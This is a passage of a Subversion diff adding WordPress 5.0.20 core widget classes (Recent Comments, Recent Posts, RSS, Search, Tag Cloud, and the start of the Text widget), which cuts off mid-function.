+			<label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php _e( 'Title:' ); ?></label>
+			<input class="widefat" id="<?php echo esc_attr( $this->get_field_id('title') ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
+		</p>
+		<p>
+			<label for="<?php echo esc_attr( $this->get_field_id( 'sortby' ) ); ?>"><?php _e( 'Sort by:' ); ?></label>
+			<select name="<?php echo esc_attr( $this->get_field_name( 'sortby' ) ); ?>" id="<?php echo esc_attr( $this->get_field_id( 'sortby' ) ); ?>" class="widefat">
+				<option value="post_title"<?php selected( $instance['sortby'], 'post_title' ); ?>><?php _e('Page title'); ?></option>
+				<option value="menu_order"<?php selected( $instance['sortby'], 'menu_order' ); ?>><?php _e('Page order'); ?></option>
+				<option value="ID"<?php selected( $instance['sortby'], 'ID' ); ?>><?php _e( 'Page ID' ); ?></option>
+			</select>
+		</p>
+		<p>
+			<label for="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>"><?php _e( 'Exclude:' ); ?></label>
+			<input type="text" value="<?php echo esc_attr( $instance['exclude'] ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'exclude' ) ); ?>" id="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>" class="widefat" />
+			<br />
+			<small><?php _e( 'Page IDs, separated by commas.' ); ?></small>
+		</p>
+		<?php
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-recent-comments.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-recent-comments.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-recent-comments.php	(revision 56912)
@@ -0,0 +1,174 @@
+<?php
+/**
+ * Widget API: WP_Widget_Recent_Comments class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement a Recent Comments widget.
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Recent_Comments extends WP_Widget {
+
+	/**
+	 * Sets up a new Recent Comments widget instance.
+	 *
+	 * @since 2.8.0
+	 */
+	public function __construct() {
+		$widget_ops = array(
+			'classname' => 'widget_recent_comments',
+			'description' => __( 'Your site&#8217;s most recent comments.' ),
+			'customize_selective_refresh' => true,
+		);
+		parent::__construct( 'recent-comments', __( 'Recent Comments' ), $widget_ops );
+		$this->alt_option_name = 'widget_recent_comments';
+
+		if ( is_active_widget( false, false, $this->id_base ) || is_customize_preview() ) {
+			add_action( 'wp_head', array( $this, 'recent_comments_style' ) );
+		}
+	}
+
+ 	/**
+	 * Outputs the default styles for the Recent Comments widget.
+	 *
+	 * @since 2.8.0
+	 */
+	public function recent_comments_style() {
+		/**
+		 * Filters the Recent Comments default widget styles.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param bool   $active  Whether the widget is active. Default true.
+		 * @param string $id_base The widget ID.
+		 */
+		if ( ! current_theme_supports( 'widgets' ) // Temp hack #14876
+			|| ! apply_filters( 'show_recent_comments_widget_style', true, $this->id_base ) )
+			return;
+		?>
+		<style type="text/css">.recentcomments a{display:inline !important;padding:0 !important;margin:0 !important;}</style>
+		<?php
+	}
+
+	/**
+	 * Outputs the content for the current Recent Comments widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $args     Display arguments including 'before_title', 'after_title',
+	 *                        'before_widget', and 'after_widget'.
+	 * @param array $instance Settings for the current Recent Comments widget instance.
+	 */
+	public function widget( $args, $instance ) {
+		if ( ! isset( $args['widget_id'] ) )
+			$args['widget_id'] = $this->id;
+
+		$output = '';
+
+		$title = ( ! empty( $instance['title'] ) ) ? $instance['title'] : __( 'Recent Comments' );
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		$number = ( ! empty( $instance['number'] ) ) ? absint( $instance['number'] ) : 5;
+		if ( ! $number )
+			$number = 5;
+
+		/**
+		 * Filters the arguments for the Recent Comments widget.
+		 *
+		 * @since 3.4.0
+		 * @since 4.9.0 Added the `$instance` parameter.
+		 *
+		 * @see WP_Comment_Query::query() for information on accepted arguments.
+		 *
+		 * @param array $comment_args An array of arguments used to retrieve the recent comments.
+		 * @param array $instance     Array of settings for the current widget.
+		 */
+		$comments = get_comments( apply_filters( 'widget_comments_args', array(
+			'number'      => $number,
+			'status'      => 'approve',
+			'post_status' => 'publish'
+		), $instance ) );
+
+		$output .= $args['before_widget'];
+		if ( $title ) {
+			$output .= $args['before_title'] . $title . $args['after_title'];
+		}
+
+		$output .= '<ul id="recentcomments">';
+		if ( is_array( $comments ) && $comments ) {
+			// Prime cache for associated posts. (Prime post term cache if we need it for permalinks.)
+			$post_ids = array_unique( wp_list_pluck( $comments, 'comment_post_ID' ) );
+			_prime_post_caches( $post_ids, strpos( get_option( 'permalink_structure' ), '%category%' ), false );
+
+			foreach ( (array) $comments as $comment ) {
+				$output .= '<li class="recentcomments">';
+				/* translators: comments widget: 1: comment author, 2: post link */
+				$output .= sprintf( _x( '%1$s on %2$s', 'widgets' ),
+					'<span class="comment-author-link">' . get_comment_author_link( $comment ) . '</span>',
+					'<a href="' . esc_url( get_comment_link( $comment ) ) . '">' . get_the_title( $comment->comment_post_ID ) . '</a>'
+				);
+				$output .= '</li>';
+			}
+		}
+		$output .= '</ul>';
+		$output .= $args['after_widget'];
+
+		echo $output;
+	}
+
+	/**
+	 * Handles updating settings for the current Recent Comments widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            WP_Widget::form().
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Updated settings to save.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = sanitize_text_field( $new_instance['title'] );
+		$instance['number'] = absint( $new_instance['number'] );
+		return $instance;
+	}
+
+	/**
+	 * Outputs the settings form for the Recent Comments widget.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $instance Current settings.
+	 */
+	public function form( $instance ) {
+		$title = isset( $instance['title'] ) ? $instance['title'] : '';
+		$number = isset( $instance['number'] ) ? absint( $instance['number'] ) : 5;
+		?>
+		<p><label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
+		<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" /></p>
+
+		<p><label for="<?php echo $this->get_field_id( 'number' ); ?>"><?php _e( 'Number of comments to show:' ); ?></label>
+		<input class="tiny-text" id="<?php echo $this->get_field_id( 'number' ); ?>" name="<?php echo $this->get_field_name( 'number' ); ?>" type="number" step="1" min="1" value="<?php echo $number; ?>" size="3" /></p>
+		<?php
+	}
+
+	/**
+	 * Flushes the Recent Comments widget cache.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @deprecated 4.4.0 Fragment caching was removed in favor of split queries.
+	 */
+	public function flush_widget_cache() {
+		_deprecated_function( __METHOD__, '4.4.0' );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-recent-posts.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-recent-posts.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-recent-posts.php	(revision 56912)
@@ -0,0 +1,145 @@
+<?php
+/**
+ * Widget API: WP_Widget_Recent_Posts class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement a Recent Posts widget.
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Recent_Posts extends WP_Widget {
+
+	/**
+	 * Sets up a new Recent Posts widget instance.
+	 *
+	 * @since 2.8.0
+	 */
+	public function __construct() {
+		$widget_ops = array(
+			'classname' => 'widget_recent_entries',
+			'description' => __( 'Your site&#8217;s most recent Posts.' ),
+			'customize_selective_refresh' => true,
+		);
+		parent::__construct( 'recent-posts', __( 'Recent Posts' ), $widget_ops );
+		$this->alt_option_name = 'widget_recent_entries';
+	}
+
+	/**
+	 * Outputs the content for the current Recent Posts widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $args     Display arguments including 'before_title', 'after_title',
+	 *                        'before_widget', and 'after_widget'.
+	 * @param array $instance Settings for the current Recent Posts widget instance.
+	 */
+	public function widget( $args, $instance ) {
+		if ( ! isset( $args['widget_id'] ) ) {
+			$args['widget_id'] = $this->id;
+		}
+
+		$title = ( ! empty( $instance['title'] ) ) ? $instance['title'] : __( 'Recent Posts' );
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		$number = ( ! empty( $instance['number'] ) ) ? absint( $instance['number'] ) : 5;
+		if ( ! $number ) {
+			$number = 5;
+		}
+		$show_date = isset( $instance['show_date'] ) ? $instance['show_date'] : false;
+
+		/**
+		 * Filters the arguments for the Recent Posts widget.
+		 *
+		 * @since 3.4.0
+		 * @since 4.9.0 Added the `$instance` parameter.
+		 *
+		 * @see WP_Query::get_posts()
+		 *
+		 * @param array $args     An array of arguments used to retrieve the recent posts.
+		 * @param array $instance Array of settings for the current widget.
+		 */
+		$r = new WP_Query( apply_filters( 'widget_posts_args', array(
+			'posts_per_page'      => $number,
+			'no_found_rows'       => true,
+			'post_status'         => 'publish',
+			'ignore_sticky_posts' => true,
+		), $instance ) );
+
+		if ( ! $r->have_posts() ) {
+			return;
+		}
+		?>
+		<?php echo $args['before_widget']; ?>
+		<?php
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+		?>
+		<ul>
+			<?php foreach ( $r->posts as $recent_post ) : ?>
+				<?php
+				$post_title = get_the_title( $recent_post->ID );
+				$title      = ( ! empty( $post_title ) ) ? $post_title : __( '(no title)' );
+				?>
+				<li>
+					<a href="<?php the_permalink( $recent_post->ID ); ?>"><?php echo $title ; ?></a>
+					<?php if ( $show_date ) : ?>
+						<span class="post-date"><?php echo get_the_date( '', $recent_post->ID ); ?></span>
+					<?php endif; ?>
+				</li>
+			<?php endforeach; ?>
+		</ul>
+		<?php
+		echo $args['after_widget'];
+	}
+
+	/**
+	 * Handles updating the settings for the current Recent Posts widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            WP_Widget::form().
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Updated settings to save.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = sanitize_text_field( $new_instance['title'] );
+		$instance['number'] = (int) $new_instance['number'];
+		$instance['show_date'] = isset( $new_instance['show_date'] ) ? (bool) $new_instance['show_date'] : false;
+		return $instance;
+	}
+
+	/**
+	 * Outputs the settings form for the Recent Posts widget.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $instance Current settings.
+	 */
+	public function form( $instance ) {
+		$title     = isset( $instance['title'] ) ? esc_attr( $instance['title'] ) : '';
+		$number    = isset( $instance['number'] ) ? absint( $instance['number'] ) : 5;
+		$show_date = isset( $instance['show_date'] ) ? (bool) $instance['show_date'] : false;
+?>
+		<p><label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
+		<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo $title; ?>" /></p>
+
+		<p><label for="<?php echo $this->get_field_id( 'number' ); ?>"><?php _e( 'Number of posts to show:' ); ?></label>
+		<input class="tiny-text" id="<?php echo $this->get_field_id( 'number' ); ?>" name="<?php echo $this->get_field_name( 'number' ); ?>" type="number" step="1" min="1" value="<?php echo $number; ?>" size="3" /></p>
+
+		<p><input class="checkbox" type="checkbox"<?php checked( $show_date ); ?> id="<?php echo $this->get_field_id( 'show_date' ); ?>" name="<?php echo $this->get_field_name( 'show_date' ); ?>" />
+		<label for="<?php echo $this->get_field_id( 'show_date' ); ?>"><?php _e( 'Display post date?' ); ?></label></p>
+<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-rss.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-rss.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-rss.php	(revision 56912)
@@ -0,0 +1,125 @@
+<?php
+/**
+ * Widget API: WP_Widget_RSS class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement a RSS widget.
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_RSS extends WP_Widget {
+
+	/**
+	 * Sets up a new RSS widget instance.
+	 *
+	 * @since 2.8.0
+	 */
+	public function __construct() {
+		$widget_ops = array(
+			'description' => __( 'Entries from any RSS or Atom feed.' ),
+			'customize_selective_refresh' => true,
+		);
+		$control_ops = array( 'width' => 400, 'height' => 200 );
+		parent::__construct( 'rss', __( 'RSS' ), $widget_ops, $control_ops );
+	}
+
+	/**
+	 * Outputs the content for the current RSS widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $args     Display arguments including 'before_title', 'after_title',
+	 *                        'before_widget', and 'after_widget'.
+	 * @param array $instance Settings for the current RSS widget instance.
+	 */
+	public function widget( $args, $instance ) {
+		if ( isset($instance['error']) && $instance['error'] )
+			return;
+
+		$url = ! empty( $instance['url'] ) ? $instance['url'] : '';
+		while ( stristr($url, 'http') != $url )
+			$url = substr($url, 1);
+
+		if ( empty($url) )
+			return;
+
+		// self-url destruction sequence
+		if ( in_array( untrailingslashit( $url ), array( site_url(), home_url() ) ) )
+			return;
+
+		$rss = fetch_feed($url);
+		$title = $instance['title'];
+		$desc = '';
+		$link = '';
+
+		if ( ! is_wp_error($rss) ) {
+			$desc = esc_attr(strip_tags(@html_entity_decode($rss->get_description(), ENT_QUOTES, get_option('blog_charset'))));
+			if ( empty($title) )
+				$title = strip_tags( $rss->get_title() );
+			$link = strip_tags( $rss->get_permalink() );
+			while ( stristr($link, 'http') != $link )
+				$link = substr($link, 1);
+		}
+
+		if ( empty( $title ) ) {
+			$title = ! empty( $desc ) ? $desc : __( 'Unknown Feed' );
+		}
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		$url = strip_tags( $url );
+		$icon = includes_url( 'images/rss.png' );
+		if ( $title )
+			$title = '<a class="rsswidget" href="' . esc_url( $url ) . '"><img class="rss-widget-icon" style="border:0" width="14" height="14" src="' . esc_url( $icon ) . '" alt="RSS" /></a> <a class="rsswidget" href="' . esc_url( $link ) . '">'. esc_html( $title ) . '</a>';
+
+		echo $args['before_widget'];
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+		wp_widget_rss_output( $rss, $instance );
+		echo $args['after_widget'];
+
+		if ( ! is_wp_error($rss) )
+			$rss->__destruct();
+		unset($rss);
+	}
+
+	/**
+	 * Handles updating settings for the current RSS widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            WP_Widget::form().
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Updated settings to save.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		$testurl = ( isset( $new_instance['url'] ) && ( !isset( $old_instance['url'] ) || ( $new_instance['url'] != $old_instance['url'] ) ) );
+		return wp_widget_rss_process( $new_instance, $testurl );
+	}
+
+	/**
+	 * Outputs the settings form for the RSS widget.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $instance Current settings.
+	 */
+	public function form( $instance ) {
+		if ( empty( $instance ) ) {
+			$instance = array( 'title' => '', 'url' => '', 'items' => 10, 'error' => false, 'show_summary' => 0, 'show_author' => 0, 'show_date' => 0 );
+		}
+		$instance['number'] = $this->number;
+
+		wp_widget_rss_form( $instance );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-search.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-search.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-search.php	(revision 56912)
@@ -0,0 +1,91 @@
+<?php
+/**
+ * Widget API: WP_Widget_Search class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement a Search widget.
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Search extends WP_Widget {
+
+	/**
+	 * Sets up a new Search widget instance.
+	 *
+	 * @since 2.8.0
+	 */
+	public function __construct() {
+		$widget_ops = array(
+			'classname' => 'widget_search',
+			'description' => __( 'A search form for your site.' ),
+			'customize_selective_refresh' => true,
+		);
+		parent::__construct( 'search', _x( 'Search', 'Search widget' ), $widget_ops );
+	}
+
+	/**
+	 * Outputs the content for the current Search widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $args     Display arguments including 'before_title', 'after_title',
+	 *                        'before_widget', and 'after_widget'.
+	 * @param array $instance Settings for the current Search widget instance.
+	 */
+	public function widget( $args, $instance ) {
+		$title = ! empty( $instance['title'] ) ? $instance['title'] : '';
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		echo $args['before_widget'];
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+
+		// Use current theme search form if it exists
+		get_search_form();
+
+		echo $args['after_widget'];
+	}
+
+	/**
+	 * Outputs the settings form for the Search widget.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $instance Current settings.
+	 */
+	public function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '') );
+		$title = $instance['title'];
+		?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></label></p>
+		<?php
+	}
+
+	/**
+	 * Handles updating settings for the current Search widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            WP_Widget::form().
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Updated settings.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$new_instance = wp_parse_args((array) $new_instance, array( 'title' => ''));
+		$instance['title'] = sanitize_text_field( $new_instance['title'] );
+		return $instance;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-tag-cloud.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-tag-cloud.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-tag-cloud.php	(revision 56912)
@@ -0,0 +1,196 @@
+<?php
+/**
+ * Widget API: WP_Widget_Tag_Cloud class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement a Tag cloud widget.
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Tag_Cloud extends WP_Widget {
+
+	/**
+	 * Sets up a new Tag Cloud widget instance.
+	 *
+	 * @since 2.8.0
+	 */
+	public function __construct() {
+		$widget_ops = array(
+			'description' => __( 'A cloud of your most used tags.' ),
+			'customize_selective_refresh' => true,
+		);
+		parent::__construct( 'tag_cloud', __( 'Tag Cloud' ), $widget_ops );
+	}
+
+	/**
+	 * Outputs the content for the current Tag Cloud widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $args     Display arguments including 'before_title', 'after_title',
+	 *                        'before_widget', and 'after_widget'.
+	 * @param array $instance Settings for the current Tag Cloud widget instance.
+	 */
+	public function widget( $args, $instance ) {
+		$current_taxonomy = $this->_get_current_taxonomy( $instance );
+
+		if ( ! empty( $instance['title'] ) ) {
+			$title = $instance['title'];
+		} else {
+			if ( 'post_tag' === $current_taxonomy ) {
+				$title = __( 'Tags' );
+			} else {
+				$tax = get_taxonomy( $current_taxonomy );
+				$title = $tax->labels->name;
+			}
+		}
+
+		$show_count = ! empty( $instance['count'] );
+
+		/**
+		 * Filters the taxonomy used in the Tag Cloud widget.
+		 *
+		 * @since 2.8.0
+		 * @since 3.0.0 Added taxonomy drop-down.
+		 * @since 4.9.0 Added the `$instance` parameter.
+		 *
+		 * @see wp_tag_cloud()
+		 *
+		 * @param array $args     Args used for the tag cloud widget.
+		 * @param array $instance Array of settings for the current widget.
+		 */
+		$tag_cloud = wp_tag_cloud( apply_filters( 'widget_tag_cloud_args', array(
+			'taxonomy'   => $current_taxonomy,
+			'echo'       => false,
+			'show_count' => $show_count,
+		), $instance ) );
+
+		if ( empty( $tag_cloud ) ) {
+			return;
+		}
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		echo $args['before_widget'];
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+
+		echo '<div class="tagcloud">';
+
+		echo $tag_cloud;
+
+		echo "</div>\n";
+		echo $args['after_widget'];
+	}
+
+	/**
+	 * Handles updating settings for the current Tag Cloud widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            WP_Widget::form().
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Settings to save or bool false to cancel saving.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		$instance = array();
+		$instance['title'] = sanitize_text_field( $new_instance['title'] );
+		$instance['count'] = ! empty( $new_instance['count'] ) ? 1 : 0;
+		$instance['taxonomy'] = stripslashes($new_instance['taxonomy']);
+		return $instance;
+	}
+
+	/**
+	 * Outputs the Tag Cloud widget settings form.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $instance Current settings.
+	 */
+	public function form( $instance ) {
+		$current_taxonomy = $this->_get_current_taxonomy($instance);
+		$title_id = $this->get_field_id( 'title' );
+		$count = isset( $instance['count'] ) ? (bool) $instance['count'] : false;
+		$instance['title'] = ! empty( $instance['title'] ) ? esc_attr( $instance['title'] ) : '';
+
+		echo '<p><label for="' . $title_id .'">' . __( 'Title:' ) . '</label>
+			<input type="text" class="widefat" id="' . $title_id .'" name="' . $this->get_field_name( 'title' ) .'" value="' . $instance['title'] .'" />
+		</p>';
+
+		$taxonomies = get_taxonomies( array( 'show_tagcloud' => true ), 'object' );
+		$id = $this->get_field_id( 'taxonomy' );
+		$name = $this->get_field_name( 'taxonomy' );
+		$input = '<input type="hidden" id="' . $id . '" name="' . $name . '" value="%s" />';
+
+		$count_checkbox = sprintf(
+			'<p><input type="checkbox" class="checkbox" id="%1$s" name="%2$s"%3$s /> <label for="%1$s">%4$s</label></p>',
+			$this->get_field_id( 'count' ),
+			$this->get_field_name( 'count' ),
+			checked( $count, true, false ),
+			__( 'Show tag counts' )
+		);
+
+		switch ( count( $taxonomies ) ) {
+
+		// No tag cloud supporting taxonomies found, display error message
+		case 0:
+			echo '<p>' . __( 'The tag cloud will not be displayed since there are no taxonomies that support the tag cloud widget.' ) . '</p>';
+			printf( $input, '' );
+			break;
+
+		// Just a single tag cloud supporting taxonomy found, no need to display a select.
+		case 1:
+			$keys = array_keys( $taxonomies );
+			$taxonomy = reset( $keys );
+			printf( $input, esc_attr( $taxonomy ) );
+			echo $count_checkbox;
+			break;
+
+		// More than one tag cloud supporting taxonomy found, display a select.
+		default:
+			printf(
+				'<p><label for="%1$s">%2$s</label>' .
+				'<select class="widefat" id="%1$s" name="%3$s">',
+				$id,
+				__( 'Taxonomy:' ),
+				$name
+			);
+
+			foreach ( $taxonomies as $taxonomy => $tax ) {
+				printf(
+					'<option value="%s"%s>%s</option>',
+					esc_attr( $taxonomy ),
+					selected( $taxonomy, $current_taxonomy, false ),
+					$tax->labels->name
+				);
+			}
+
+			echo '</select></p>' . $count_checkbox;
+		}
+	}
+
+	/**
+	 * Retrieves the taxonomy for the current Tag cloud widget instance.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $instance Current settings.
+	 * @return string Name of the current taxonomy if set, otherwise 'post_tag'.
+	 */
+	public function _get_current_taxonomy($instance) {
+		if ( !empty($instance['taxonomy']) && taxonomy_exists($instance['taxonomy']) )
+			return $instance['taxonomy'];
+
+		return 'post_tag';
+	}
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-text.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-text.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-text.php	(revision 56912)
@@ -0,0 +1,552 @@
+<?php
+/**
+ * Widget API: WP_Widget_Text class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement a Text widget.
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Text extends WP_Widget {
+
+	/**
+	 * Whether or not the widget has been registered yet.
+	 *
+	 * @since 4.8.1
+	 * @var bool
+	 */
+	protected $registered = false;
+
+	/**
+	 * Sets up a new Text widget instance.
+	 *
+	 * @since 2.8.0
+	 */
+	public function __construct() {
+		$widget_ops = array(
+			'classname' => 'widget_text',
+			'description' => __( 'Arbitrary text.' ),
+			'customize_selective_refresh' => true,
+		);
+		$control_ops = array(
+			'width' => 400,
+			'height' => 350,
+		);
+		parent::__construct( 'text', __( 'Text' ), $widget_ops, $control_ops );
+	}
+
+	/**
+	 * Add hooks for enqueueing assets when registering all widget instances of this widget class.
+	 *
+	 * @param integer $number Optional. The unique order number of this widget instance
+	 *                        compared to other instances of the same class. Default -1.
+	 */
+	public function _register_one( $number = -1 ) {
+		parent::_register_one( $number );
+		if ( $this->registered ) {
+			return;
+		}
+		$this->registered = true;
+
+		wp_add_inline_script( 'text-widgets', sprintf( 'wp.textWidgets.idBases.push( %s );', wp_json_encode( $this->id_base ) ) );
+
+		if ( $this->is_preview() ) {
+			add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) );
+		}
+
+		// Note that the widgets component in the customizer will also do the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts().
+		add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) );
+
+		// Note that the widgets component in the customizer will also do the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts().
+		add_action( 'admin_footer-widgets.php', array( 'WP_Widget_Text', 'render_control_template_scripts' ) );
+	}
+
+	/**
+	 * Determines whether a given instance is legacy and should bypass using TinyMCE.
+	 *
+	 * @since 4.8.1
+	 *
+	 * @param array $instance {
+	 *     Instance data.
+	 *
+	 *     @type string      $text   Content.
+	 *     @type bool|string $filter Whether autop or content filters should apply.
+	 *     @type bool        $legacy Whether widget is in legacy mode.
+	 * }
+	 * @return bool Whether Text widget instance contains legacy data.
+	 */
+	public function is_legacy_instance( $instance ) {
+
+		// Legacy mode when not in visual mode.
+		if ( isset( $instance['visual'] ) ) {
+			return ! $instance['visual'];
+		}
+
+		// Or, the widget has been added/updated in 4.8.0 then filter prop is 'content' and it is no longer legacy.
+		if ( isset( $instance['filter'] ) && 'content' === $instance['filter'] ) {
+			return false;
+		}
+
+		// If the text is empty, then nothing is preventing migration to TinyMCE.
+		if ( empty( $instance['text'] ) ) {
+			return false;
+		}
+
+		$wpautop = ! empty( $instance['filter'] );
+		$has_line_breaks = ( false !== strpos( trim( $instance['text'] ), "\n" ) );
+
+		// If auto-paragraphs are not enabled and there are line breaks, then ensure legacy mode.
+		if ( ! $wpautop && $has_line_breaks ) {
+			return true;
+		}
+
+		// If an HTML comment is present, assume legacy mode.
+		if ( false !== strpos( $instance['text'], '<!--' ) ) {
+			return true;
+		}
+
+		// In the rare case that DOMDocument is not available we cannot reliably sniff content and so we assume legacy.
+		if ( ! class_exists( 'DOMDocument' ) ) {
+			// @codeCoverageIgnoreStart
+			return true;
+			// @codeCoverageIgnoreEnd
+		}
+
+		$doc = new DOMDocument();
+		@$doc->loadHTML( sprintf(
+			'<!DOCTYPE html><html><head><meta charset="%s"></head><body>%s</body></html>',
+			esc_attr( get_bloginfo( 'charset' ) ),
+			$instance['text']
+		) );
+		$body = $doc->getElementsByTagName( 'body' )->item( 0 );
+
+		// See $allowedposttags.
+		$safe_elements_attributes = array(
+			'strong' => array(),
+			'em' => array(),
+			'b' => array(),
+			'i' => array(),
+			'u' => array(),
+			's' => array(),
+			'ul' => array(),
+			'ol' => array(),
+			'li' => array(),
+			'hr' => array(),
+			'abbr' => array(),
+			'acronym' => array(),
+			'code' => array(),
+			'dfn' => array(),
+			'a' => array(
+				'href' => true,
+			),
+			'img' => array(
+				'src' => true,
+				'alt' => true,
+			),
+		);
+		$safe_empty_elements = array( 'img', 'hr', 'iframe' );
+
+		foreach ( $body->getElementsByTagName( '*' ) as $element ) {
+			/** @var DOMElement $element */
+			$tag_name = strtolower( $element->nodeName );
+
+			// If the element is not safe, then the instance is legacy.
+			if ( ! isset( $safe_elements_attributes[ $tag_name ] ) ) {
+				return true;
+			}
+
+			// If the element is not safely empty and it has empty contents, then legacy mode.
+			if ( ! in_array( $tag_name, $safe_empty_elements, true ) && '' === trim( $element->textContent ) ) {
+				return true;
+			}
+
+			// If an attribute is not recognized as safe, then the instance is legacy.
